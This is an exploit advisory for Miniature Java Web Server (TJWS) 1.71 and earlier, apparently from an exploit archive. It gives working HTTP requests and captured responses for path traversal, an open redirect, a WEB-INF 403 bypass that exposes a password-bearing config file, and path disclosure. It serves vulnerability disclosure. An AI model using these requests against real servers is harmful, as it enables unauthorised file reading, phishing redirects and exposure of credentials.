|
# Exploit Title: Miniature Java Web Server <= 1.71 Multiple Vulnerabilities. # Date: 26/03/10 # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il> # Software Link: http://tjws.sourceforge.net/#download # Version: <= 1.71 # Tested on: JRE build 1.6.0_17-b04 # ##[Path Traversal:] A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP) # http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C (You'll get the root directory on the volume) # # ##[Open Redirect:] An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. (OWASP) # HTTP REQUEST: # get /%00 HTTP/1.1\r\nHost: digitalwhisper.co.il<http://digitalwhisper.co.il>\r\n\r\n # Lead to: # HTTP RESPONSE: # HTTP/1.1 302 Moved temporarily content-type: text/html location: http://digitalwhisper.co.il/ / connection: keep-alive date: Thu, 25 Mar 2010 17:17:40 GMT keep-alive: timeout=30, max=100 content-length: 303 server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $ mime-version: 1.0
<HTML><HEAD><TITLE>302 Moved</TITLE></HEAD><BODY BGCOLOR="#D1E9FE"><H2>302 Moved</H2>This document has moved <a href=http://digitalwhisper.co.il/ # # ##[403 (Forbidden) Bypass:] (Insufficient Authorization) Insufficient Authorization results when an application does not perform adequate authorization checks to ensure that the user is performing a function or accessing data in a manner consistent with the security policy. Authorization procedures should enforce what a user, service or application is permitted to do. When a user is authenticated to a web site, it does not necessarily mean that the user should have full access to all content and functionality. (WASC) # The Attacker can bypass a forbidden file by adding %2f before the forbidden folder/file. # #e.g: HTTP REQUEST: # GET /demo-servlets/WEB-INF/config/mishka.properties HTTP/1.1 Host: localhost # Lead to: # HTTP RESPONSE: # HTTP/1.1 403 Forbidden content-type: text/html connection: keep-alive date: Thu, 25 Mar 2010 17:49:56 GMT keep-alive: timeout=30, max=100 content-length: 243 server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $ mime-version: 1.0
<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY BGCOLOR="#D1E9FE"><H2>403 Forbidden</H2><HR><ADDRESS><A HREF="http://tjws.sourceforge.net">D. Rogatkin's TJWS based on Acme.Serve Version 1.71, $Revision: 1.199 $</A></ADDRESS></BODY></HTML> # BUT: # HTTP REQUEST: # GET /demo-servlets/%2fWEB-INF/config/mishka.properties HTTP/1.1 Host: localhost # Lead to: # HTTP REQPONSE: # HTTP/1.1 200 Ok content-type: Unknown connection: keep-alive date: Thu, 08 Apr 2010 18:00:35 GMT last-modified: Thu, 25 Mar 2010 16:41:58 GMT keep-alive: timeout=30, max=100 content-length: 364 server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $ mime-version: 1.0
# XML persistant storage location config=mishka.xml WorkerPrefix=javaarchitect.servlet.mishka. # HTMl template path TEMPLATEROOT=/javaarchitect/servlet/mishka/resource PASSWORD=************* MESSAGEBOARD_PASSWORD=************* #MESSAGEBOARD_REALMNAME=Lunch Administrator DefaultServant=frontpage charset=KOI8-r MessageBoardStore=lunchboard.store DEBUG=1 # # ##[Full Path Disclosure:] Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP) # http://localhost/demo-servlets/snoop.jsp # # [e0f]
|